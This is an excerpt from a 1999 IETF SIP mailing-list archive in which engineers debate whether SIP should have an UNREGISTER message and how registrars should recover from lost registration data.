> jonathan> currently registered anyway.
> 
> Well, again, a server is given an option to send something similar to URQ -
> it is not mandatory,
> hence it is the server's discretion to send it. This is typically useful if
> a particular EPs registration has to be cancelled due to policy (and it
> might not be right to wait for the EP to discover this unregistration after
> the next failed operation)

Why not? Lets say the registration is forcefully expired because of
policy, but the UA is not informed. What behavior in the UA is changed
because of this expiration? (I'd like to avoid feature creep in SIP, so
unless there is an absolutely clear need with a real application, I'm
not convinced).

> And certainly very useful if we are proving a 323-SIP gateway where the GK
> wants to forcibly
> remove a users registration (due to say the admin removing him for some
> reason), so the GK now sends a URQ to the Endpoint (EP). However, incase
> the same message has to go across to a terminal which is SIP based , the
> gateway has no way to convert the GK oriented URQ to something like
> UNREGISTER - the EP would simply have to wait till it sends its next
> INVITE.

Whilst I agree that interoperability would be facilitated by this, and
that interoperability is a good thing, the argument to add features
since H.323 has them is a slippery slope. The URQ from GK to terminal
(note there is an equivalent of URQ from terminal to GK in SIP) is only
one of many messages/fields in H.323 not in SIP (consider all the
admission and bandwidth control messages in RAS). By your argument, we
should add those too to facilitate interoperability. If we do this, the
end result is nothing but a protocol that is semantically equivalent to
H.323, but different only in syntax. H.323 does what it does - we don't
need another version thats just text encoded. That is certainly not the
point of SIP. 

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Sep 27 07:11:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA03145
	for confctrl-outgoing; Mon, 27 Sep 1999 07:11:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA03140
	for <confctrl@zephyr.isi.edu>; Mon, 27 Sep 1999 07:11:25 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA07750
	for <confctrl@ISI.EDU>; Mon, 27 Sep 1999 07:11:24 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id JAA29644; Mon, 27 Sep 1999 09:15:59 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))  id 862567F9.004EC37F ; Mon, 27 Sep 1999 09:20:18 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>
To: Jonathan Rosenberg <jdrosen@bell-labs.com>
cc: archow@hss.hns.com, confctrl@ISI.EDU
Message-ID: <862567F9.004EC201.00@mwgate02.mw.3com.com>
Date: Mon, 27 Sep 1999 09:09:07 -0500
Subject: Re: A few questions on REGISTER
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




>>Why not? Lets say the registration is forcefully expired because of
>>policy, but the UA is not informed. What behavior in the UA is changed
>>because of this expiration? (I'd like to avoid feature creep in SIP, so
>>unless there is an absolutely clear need with a real application, I'm
>>not convinced).


The change of behaviour that I see is the UA might not receive any calls ,
becuase the Server (Proxy+Registrar) no longer considers it a valid endpoint and
drops all the requests ( with appropriate error responses to the originator of
the call ) intended for this UA.

The UA is unaware of this becuase it thinks it is still registered.

-Anoop




From confctrl-owner  Mon Sep 27 07:59:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA05178
	for confctrl-outgoing; Mon, 27 Sep 1999 07:59:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA05173
	for <confctrl@zephyr.isi.edu>; Mon, 27 Sep 1999 07:59:16 -0700 (PDT)
Received: from hubbub.cisco.com (hubbub.cisco.com [171.69.11.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA10590
	for <confctrl@ISI.EDU>; Mon, 27 Sep 1999 07:59:15 -0700 (PDT)
Received: from OranLT ([171.69.210.9]) by hubbub.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/CISCO.GATE.1.1) with SMTP id HAA11262; Mon, 27 Sep 1999 07:58:07 -0700 (PDT)
From: "David Oran" <oran@cisco.com>
To: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>,
        "Jonathan Rosenberg" <jdrosen@bell-labs.com>
Cc: <archow@hss.hns.com>, <confctrl@ISI.EDU>
Subject: RE: A few questions on REGISTER
Date: Mon, 27 Sep 1999 10:58:06 -0400
Keywords: IETF
Message-ID: <NDBBKHCGKKIOOIJEGCOEKEAACHAA.oran@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <862567F9.004EC201.00@mwgate02.mw.3com.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I think some of the confusion has to do with the fact that being
"registered" in H.323 is a very different semantic from being "registered"
in SIP. In SIP, being "registered" is simply telling a SIP server that
you're around and if a call comes in for you where you'd like to get it. In
H.323, being "registered" represents a binding between you and a gatekeeper.
One interesting side effect of this is that in H.323 you are only allowed to
be registered with one gatekeeper at a time (a misfeature IMHO), while in
SIP there's nothing stopping you from registering with as many servers as
you like. This way I can ask both MCI and "Joe's sleazy fly by night find me
follow me service" to direct calls to me if they come in.

So, with H.323 you really need the functionality of knowing when a GK is
about to meet its maker, so you have some prayer of registering elsewhere
when it dies. With SIP, if you want, you can register lots of places.

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Anoop Tripathi
> Sent: Monday, September 27, 1999 10:09 AM
> To: Jonathan Rosenberg
> Cc: archow@hss.hns.com; confctrl@ISI.EDU
> Subject: Re: A few questions on REGISTER
>
>
>
>
>
> >>Why not? Lets say the registration is forcefully expired because of
> >>policy, but the UA is not informed. What behavior in the UA is changed
> >>because of this expiration? (I'd like to avoid feature creep in SIP, so
> >>unless there is an absolutely clear need with a real application, I'm
> >>not convinced).
>
>
> The change of behaviour that I see is the UA might not receive any calls ,
> becuase the Server (Proxy+Registrar) no longer considers it a
> valid endpoint and
> drops all the requests ( with appropriate error responses to the
> originator of
> the call ) intended for this UA.
>
> The UA is unaware of this becuase it thinks it is still registered.
>
> -Anoop
>
>
>
>


From confctrl-owner  Mon Sep 27 08:11:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA05643
	for confctrl-outgoing; Mon, 27 Sep 1999 08:11:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA05638
	for <confctrl@zephyr.isi.edu>; Mon, 27 Sep 1999 08:11:15 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA11275
	for <confctrl@ISI.EDU>; Mon, 27 Sep 1999 08:11:14 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id KAA04180; Mon, 27 Sep 1999 10:15:38 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))  id 862567F9.00543763 ; Mon, 27 Sep 1999 10:19:52 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>
To: "David Oran" <oran@cisco.com>
cc: "Jonathan Rosenberg" <jdrosen@bell-labs.com>, archow@hss.hns.com,
        confctrl@ISI.EDU
Message-ID: <862567F9.00543577.00@mwgate02.mw.3com.com>
Date: Mon, 27 Sep 1999 10:08:39 -0500
Subject: RE: A few questions on REGISTER
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




I implement a PBX with one proxy/registrar server and 300 clients(DHCP ) .
All clients send a registration once every 24 hours.

I bring down my proxy server for maintenance.
When I try to bring it back up , I find the registration data is corrupted.
So I cannot resotre the registration information to a state before the proxy was
shutdown.

what do I do to get the system in service.

Go to all the 300 desks and reboot the individual machines.


I think having a  UNREGISTER request is not bad. However, if we have it in the
specification saying a REGISTRAR may silently discard a registration or discard
with a specific UNREGISTER depending upon the implementation .

Thanks,

Anoop





"David Oran" <oran@cisco.com> on 09/27/99 09:58:06 AM

Sent by:  "David Oran" <oran@cisco.com>


To:   Anoop Tripathi/MW/US/3Com, "Jonathan Rosenberg" <jdrosen@bell-labs.com>
cc:   archow@hss.hns.com, confctrl@ISI.EDU
Subject:  RE: A few questions on REGISTER




I think some of the confusion has to do with the fact that being
"registered" in H.323 is a very different semantic from being "registered"
in SIP. In SIP, being "registered" is simply telling a SIP server that
you're around and if a call comes in for you where you'd like to get it. In
H.323, being "registered" represents a binding between you and a gatekeeper.
One interesting side effect of this is that in H.323 you are only allowed to
be registered with one gatekeeper at a time (a misfeature IMHO), while in
SIP there's nothing stopping you from registering with as many servers as
you like. This way I can ask both MCI and "Joe's sleazy fly by night find me
follow me service" to direct calls to me if they come in.

So, with H.323 you really need the functionality of knowing when a GK is
about to meet its maker, so you have some prayer of registering elsewhere
when it dies. With SIP, if you want, you can register lots of places.

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Anoop Tripathi
> Sent: Monday, September 27, 1999 10:09 AM
> To: Jonathan Rosenberg
> Cc: archow@hss.hns.com; confctrl@ISI.EDU
> Subject: Re: A few questions on REGISTER
>
>
>
>
>
> >>Why not? Lets say the registration is forcefully expired because of
> >>policy, but the UA is not informed. What behavior in the UA is changed
> >>because of this expiration? (I'd like to avoid feature creep in SIP, so
> >>unless there is an absolutely clear need with a real application, I'm
> >>not convinced).
>
>
> The change of behaviour that I see is the UA might not receive any calls ,
> becuase the Server (Proxy+Registrar) no longer considers it a
> valid endpoint and
> drops all the requests ( with appropriate error responses to the
> originator of
> the call ) intended for this UA.
>
> The UA is unaware of this becuase it thinks it is still registered.
>
> -Anoop
>
>
>
>







From confctrl-owner  Mon Sep 27 09:24:31 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA08606
	for confctrl-outgoing; Mon, 27 Sep 1999 09:24:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA08601
	for <confctrl@zephyr.isi.edu>; Mon, 27 Sep 1999 09:24:30 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17716
	for <confctrl@ISI.EDU>; Mon, 27 Sep 1999 09:24:29 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA16904;
	Mon, 27 Sep 1999 12:24:27 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA17462;
	Mon, 27 Sep 1999 12:24:19 -0400 (EDT)
Message-ID: <37EF9A28.CCFECD57@cs.columbia.edu>
Date: Mon, 27 Sep 1999 12:24:08 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Anoop Tripathi <Anoop_Tripathi@mw.3com.com>
CC: David Oran <oran@cisco.com>, Jonathan Rosenberg <jdrosen@bell-labs.com>,
        archow@hss.hns.com, confctrl@ISI.EDU
Subject: Re: A few questions on REGISTER
References: <862567F9.00543577.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anoop Tripathi wrote:
> 
> I implement a PBX with one proxy/registrar server and 300 clients(DHCP ) .
> All clients send a registration once every 24 hours.
> 
> I bring down my proxy server for maintenance.
> When I try to bring it back up , I find the registration data is corrupted.
> So I cannot resotre the registration information to a state before the proxy was
> shutdown.
> 
> what do I do to get the system in service.

Easy: just call up your friend at the local utility company and ask them
for a brief power interruption :-) Or call up your landscaping
department and ask them to install some new flagpoles where the power
line enters your premises. You can also ask our local construction
company for assistance. They seem to have the necessary background in
implementing backhoe fade.

> 
> Go to all the 300 desks and reboot the individual machines.
> 
> I think having a  UNREGISTER request is not bad. However, if we have it in the
> specification saying a REGISTRAR may silently discard a registration or discard
> with a specific UNREGISTER depending upon the implementation .

In that case, an individual UNREGISTER wouldn't do much good since you
don't know who should be registering. I suppose a "hey, I'm a new
registrar (or I can't remember if I'm new or not)" message might be more
productive.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Sep 27 09:46:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA09651
	for confctrl-outgoing; Mon, 27 Sep 1999 09:46:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA09646
	for <confctrl@zephyr.isi.edu>; Mon, 27 Sep 1999 09:46:36 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA20165
	for <confctrl@ISI.EDU>; Mon, 27 Sep 1999 09:46:35 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id LAA11930; Mon, 27 Sep 1999 11:50:30 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))  id 862567F9.005CEA3D ; Mon, 27 Sep 1999 11:54:52 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: David Oran <oran@cisco.com>, Jonathan Rosenberg <jdrosen@bell-labs.com>,
        archow@hss.hns.com, confctrl@ISI.EDU
Message-ID: <862567F9.005CE8DD.00@mwgate02.mw.3com.com>
Date: Mon, 27 Sep 1999 11:43:40 -0500
Subject: Re: A few questions on REGISTER
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




If the protocol had an UNREGISTER message , this problem could be bypassed by
implementing

" UNREGISTER to all registered clients on a shutdown."

Now all the unregistered clients keep trying to register and when the server
comes up , the system is up and running.


However, the problem still remains for systems which do not use the UNREGISTER
message. ( Well what do you get when you implement
something partially ?).

Also, the problem still remains in case a Registrar/Proxy server crashes (
without sending  UNREGISTER messages ) and then comes up to
find the Registration DB corrupt?

Any suggestions to fix this ?

IP telephony is fun.

Anoop







Henning Schulzrinne <schulzrinne@cs.columbia.edu> on 09/27/99 11:24:08 AM

Sent by:  Henning Schulzrinne <schulzrinne@cs.columbia.edu>


To:   Anoop Tripathi/MW/US/3Com
cc:   David Oran <oran@cisco.com>, Jonathan Rosenberg <jdrosen@bell-labs.com>,
      archow@hss.hns.com, confctrl@ISI.EDU
Subject:  Re: A few questions on REGISTER




Anoop Tripathi wrote:
>
> I implement a PBX with one proxy/registrar server and 300 clients(DHCP ) .
> All clients send a registration once every 24 hours.
>
> I bring down my proxy server for maintenance.
> When I try to bring it back up , I find the registration data is corrupted.
> So I cannot resotre the registration information to a state before the proxy
was
> shutdown.
>
> what do I do to get the system in service.

Easy: just call up your friend at the local utility company and ask them
for a brief power interruption :-) Or call up your landscaping
department and ask them to install some new flagpoles where the power
line enters your premises. You can also ask our local construction
company for assistance. They seem to have the necessary background in
implementing backhoe fade.

>
> Go to all the 300 desks and reboot the individual machines.
>
> I think having a  UNREGISTER request is not bad. However, if we have it in the
> specification saying a REGISTRAR may silently discard a registration or
discard
> with a specific UNREGISTER depending upon the implementation .

In that case, an individual UNREGISTER wouldn't do much good since you
don't know who should be registering. I suppose a "hey, I'm a new
registrar (or I can't remember if I'm new or not)" message might be more
productive.

--
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs






From confctrl-owner  Mon Sep 27 11:11:41 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA13552
	for confctrl-outgoing; Mon, 27 Sep 1999 11:11:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA13547
	for <confctrl@zephyr.isi.edu>; Mon, 27 Sep 1999 11:11:39 -0700 (PDT)
Received: from hubbub.cisco.com (hubbub.cisco.com [171.69.11.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA03189
	for <confctrl@ISI.EDU>; Mon, 27 Sep 1999 11:11:38 -0700 (PDT)
Received: from glock (dallas-lab-72.cisco.com [171.68.37.72]) by hubbub.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/CISCO.GATE.1.1) with SMTP id LAA20474; Mon, 27 Sep 1999 11:09:23 -0700 (PDT)
Message-ID: <008701bf0913$6db0dfc0$482544ab@cisco.com>
From: "Stephen Sprunk" <ssprunk@cisco.com>
To: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>,
        "Henning Schulzrinne" <schulzrinne@cs.columbia.edu>
Cc: "David Oran" <oran@cisco.com>,
        "Jonathan Rosenberg" <jdrosen@bell-labs.com>, <archow@hss.hns.com>,
        <confctrl@ISI.EDU>
References: <862567F9.005CE8DD.00@mwgate02.mw.3com.com>
Subject: Re: A few questions on REGISTER
Date: Mon, 27 Sep 1999 12:45:29 -0500
Organization: Cisco Systems, Inc.
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

My suggestion would be to not introduce single points of failure into the
system.

This was hashed out a few weeks ago; does anyone have archives available so
that we don't have to repeat the argument?

S


Stephen Sprunk, K5SSS, CCIE#3723
Network Consulting Engineer
Cisco NSA   Dallas, Texas, USA
e-mail:ssprunk@cisco.com
Pager: +1 800 365-4578
Empowering the Internet Generation


----- Original Message -----
From: Anoop Tripathi
To: Henning Schulzrinne
Cc: David Oran ; Jonathan Rosenberg ; archow@hss.hns.com ; confctrl@ISI.EDU
Sent: Monday, September 27, 1999 11:43
Subject: Re: A few questions on REGISTER





If the protocol had an UNREGISTER message , this problem could be bypassed
by
implementing

" UNREGISTER to all registered clients on a shutdown."

Now all the unregistered clients keep trying to register and when the server
comes up , the system is up and running.


However, the problem still remains for systems which do not use the
UNREGISTER
message. ( Well what do you get when you implement
something partially ?).

Also, the problem still remains in case a Registrar/Proxy server crashes (
without sending  UNREGISTER messages ) and then comes up to
find the Registration DB corrupt?

Any suggestions to fix this ?

IP telephony is fun.

Anoop







Henning Schulzrinne <schulzrinne@cs.columbia.edu> on 09/27/99 11:24:08 AM

Sent by:  Henning Schulzrinne <schulzrinne@cs.columbia.edu>


To:   Anoop Tripathi/MW/US/3Com
cc:   David Oran <oran@cisco.com>, Jonathan Rosenberg
<jdrosen@bell-labs.com>,
      archow@hss.hns.com, confctrl@ISI.EDU
Subject:  Re: A few questions on REGISTER




Anoop Tripathi wrote:
>
> I implement a PBX with one proxy/registrar server and 300 clients(DHCP ) .
> All clients send a registration once every 24 hours.
>
> I bring down my proxy server for maintenance.
> When I try to bring it back up , I find the registration data is
corrupted.
> So I cannot resotre the registration information to a state before the
proxy
was
> shutdown.
>
> what do I do to get the system in service.

Easy: just call up your friend at the local utility company and ask them
for a brief power interruption :-) Or call up your landscaping
department and ask them to install some new flagpoles where the power
line enters your premises. You can also ask our local construction
company for assistance. They seem to have the necessary background in
implementing backhoe fade.

>
> Go to all the 300 desks and reboot the individual machines.
>
> I think having a  UNREGISTER request is not bad. However, if we have it in
the
> specification saying a REGISTRAR may silently discard a registration or
discard
> with a specific UNREGISTER depending upon the implementation .

In that case, an individual UNREGISTER wouldn't do much good since you
don't know who should be registering. I suppose a "hey, I'm a new
registrar (or I can't remember if I'm new or not)" message might be more
productive.

--
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs


From confctrl-owner  Mon Sep 27 12:20:23 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA16620
	for confctrl-outgoing; Mon, 27 Sep 1999 12:20:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA16615
	for <confctrl@zephyr.isi.edu>; Mon, 27 Sep 1999 12:20:21 -0700 (PDT)
Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA12449
	for <confctrl@isi.edu>; Mon, 27 Sep 1999 12:20:20 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id PAA08295;
	Mon, 27 Sep 1999 15:19:33 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id UAA22389;
	Mon, 27 Sep 1999 20:20:08 +0100 (BST)
Message-ID: <37EFC39B.70457ABA@hplb.hpl.hp.com>
Date: Mon, 27 Sep 1999 20:20:59 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Stephen Sprunk <ssprunk@cisco.com>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: A few questions on REGISTER
References: <862567F9.005CE8DD.00@mwgate02.mw.3com.com> <008701bf0913$6db0dfc0$482544ab@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Stephen Sprunk wrote:
> 
> My suggestion would be to not introduce single points of failure into the
> system.
> 
> This was hashed out a few weeks ago; does anyone have archives available so
> that we don't have to repeat the argument?

yessiree.

  http://www-uk.hpl.hp.com/people/ak/confctrl/1999/

AK

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Mon Sep 27 14:44:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA22962
	for confctrl-outgoing; Mon, 27 Sep 1999 14:44:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA22957
	for <confctrl@zephyr.isi.edu>; Mon, 27 Sep 1999 14:44:41 -0700 (PDT)
Received: from ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA25625
	for <confctrl@ISI.EDU>; Mon, 27 Sep 1999 14:44:36 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3a.ericsson.com [198.215.127.159])
	by ericsson.com (8.9.3/8.9.3) with ESMTP id QAA01910;
	Mon, 27 Sep 1999 16:43:55 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id QAA21102;
	Mon, 27 Sep 1999 16:43:54 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id QAA23764; Mon, 27 Sep 1999 16:43:54 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id QAA25816;
	Mon, 27 Sep 1999 16:43:52 -0500 (CDT)
Message-Id: <199909272143.QAA25816@b04a24.exu.ericsson.se>
Subject: Re: A few questions on REGISTER
To: Anoop_Tripathi@mw.3com.com (Anoop Tripathi)
Date: Mon, 27 Sep 1999 16:43:52 -0500 (CDT)
Cc: schulzrinne@cs.columbia.edu, oran@cisco.com, jdrosen@bell-labs.com,
        archow@hss.hns.com, confctrl@ISI.EDU
In-Reply-To: <862567F9.005CE8DD.00@mwgate02.mw.3com.com> from "Anoop Tripathi" at Sep 27, 99 11:43:40 am
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Also, the problem still remains in case a Registrar/Proxy server crashes (
>without sending  UNREGISTER messages ) and then comes up to
>find the Registration DB corrupt?
>
>Any suggestions to fix this ?

It sounds very much like what you want is a system with centralised
control. So do it. No one says you can't keep persistant information
about how to direct phone calls. Provision the fact that all calls
for "+1 512 555 0437" go to "sip:user@123.45.67.89" instead of 
relying on a registration system.

If you need the flexibility to register other clients, allow
REGISTER messages, too -- with the caveat that they may become
unregistered upon a system shutdown/crash.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue Sep 28 02:14:20 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA20596
	for confctrl-outgoing; Tue, 28 Sep 1999 02:14:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA20591
	for <confctrl@zephyr.isi.edu>; Tue, 28 Sep 1999 02:14:19 -0700 (PDT)
Received: from nausicaa.coritel.it ([193.205.242.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA14516
	for <confctrl@isi.edu>; Tue, 28 Sep 1999 02:14:10 -0700 (PDT)
Received: from athena (athena.coritel.it [193.205.242.51])
	by nausicaa.coritel.it (8.9.3/8.9.3) with SMTP id JAA06624
	for <confctrl@isi.edu>; Tue, 28 Sep 1999 09:43:01 +0100 (MET)
Message-ID: <000501bf0992$5033a3e0$33f2cdc1@coritel.it>
From: "Shary" <shary@coritel.it>
To: "SIPML" <confctrl@ISI.EDU>
Subject: Invite and Option
Date: Tue, 28 Sep 1999 11:17:39 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello everybody,

I have a question and I hope someone can help me. How does a server react
when it receives an option with the same call-leg after an invite? Does it:
 1) manage it in parallel? or
 2) ignore the option and continue managing the invite? or
 3) reply with a response 400 and terminate both (invite and option)?

Thanks in advance
Shary


From confctrl-owner  Tue Sep 28 07:26:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA29985
	for confctrl-outgoing; Tue, 28 Sep 1999 07:26:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA29980
	for <confctrl@zephyr.isi.edu>; Tue, 28 Sep 1999 07:26:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA26281
	for <confctrl@isi.edu>; Tue, 28 Sep 1999 07:26:01 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Sep 28 10:24:36 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA22713;
	Tue, 28 Sep 1999 10:24:34 -0400 (EDT)
Message-ID: <37F0CF90.6122C00D@dnrc.bell-labs.com>
Date: Tue, 28 Sep 1999 10:24:16 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
